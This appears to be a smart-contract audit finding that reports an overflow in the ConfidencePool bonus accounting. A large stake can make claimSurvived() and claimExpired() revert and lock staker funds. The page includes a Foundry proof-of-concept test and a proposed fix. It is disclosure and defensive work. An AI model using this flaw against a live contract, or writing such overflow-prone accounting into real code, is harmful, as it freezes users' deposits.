FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: medium
Likelihood: medium

Accepted large stake can overflow k=2 bonus accounting and brick SURVIVED/EXPIRED staker claims

Author Revealed upon completion

Root + Impact

Description

  • Normal behavior: after a pool resolves as SURVIVED or EXPIRED, stakers should be able to claim principal plus any earned bonus.

  • I observed that a large accepted stake can later make _bonusShare() overflow. The k=2 bonus score is intended to be stake * (T - entryTime)^2, but the contract evaluates it with large absolute Unix timestamp terms. Those terms can overflow before they cancel.

// src/ConfidencePool.sol
function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
...
uint256 newEntry = block.timestamp;
@> uint256 contribTime = received * newEntry;
@> uint256 contribTimeSq = received * newEntry * newEntry;
userSumStakeTime[msg.sender] += contribTime;
userSumStakeTimeSq[msg.sender] += contribTimeSq;
sumStakeTime += contribTime;
sumStakeTimeSq += contribTimeSq;
...
}
function _bonusShare(address u, uint256 userEligible) internal view returns (uint256) {
...
uint256 T = uint256(outcomeFlaggedAt);
@> uint256 userPlus = T * T * userEligible + userSumStakeTimeSq[u];
@> uint256 plus = T * T * snapshotTotalStaked + snapshotSumStakeTimeSq;
...
}

Risk

Likelihood:

  • This occurs when an allowlisted standard ERC20 has sufficiently large raw balances/supply and a staker deposits an amount that fits entry-time accounting but overflows later claim-time accounting.

  • The path uses normal protocol flows: stake, bonus contribution, risk-window observation, and finalization.

Impact:

  • claimSurvived() and claimExpired() can revert inside _bonusShare().

  • Principal and bonus funds remain locked after a successful or expired resolution.

Proof of Concept

Place this file at test/unit/AcceptedLargeStakeOverflowPoC.t.sol:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
contract AcceptedLargeStakeOverflowPoC is BaseConfidencePoolTest {
function testPoC_AcceptedStakeBricksSurvivedClaim() external {
uint256 entry = vm.getBlockTimestamp();
uint256 T = pool.expiry();
uint256 amount = type(uint256).max / (T * T) + 1;
assertLt(amount + ONE, type(uint256).max / (entry * entry), "stake accounting fits");
assertGt(amount + ONE, type(uint256).max / (T * T), "claim expansion overflows");
uint256 dt = T - entry;
assertLt(amount + ONE, type(uint256).max / (dt * dt), "relative score fits");
_stake(alice, amount);
_stake(bob, ONE);
_contributeBonus(carol, 1);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
vm.warp(T);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
vm.prank(bob);
vm.expectRevert();
pool.claimSurvived();
assertEq(token.balanceOf(address(pool)), amount + ONE + 1);
}
}

Run:

forge test --match-path test/unit/AcceptedLargeStakeOverflowPoC.t.sol -vvv

Expected result:

[PASS] testPoC_AcceptedStakeBricksSurvivedClaim()

This proves that the stake is accepted, the intended relative score fits, and the later claim path reverts due to absolute timestamp expansion. claimExpired() is affected by the same _bonusShare() calculation.

Recommended Mitigation

- uint256 userPlus = T * T * userEligible + userSumStakeTimeSq[u];
- uint256 plus = T * T * snapshotTotalStaked + snapshotSumStakeTimeSq;
+ // Store and compute using risk-window-relative deltas, not absolute timestamps.
+ uint256 dt = T - effectiveEntry;
+ uint256 userScore = userEligible * dt * dt;

Use aggregate accounting relative to riskWindowStart instead of absolute Unix timestamps. Also cap accepted stake amounts against the same arithmetic domain used during claims.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!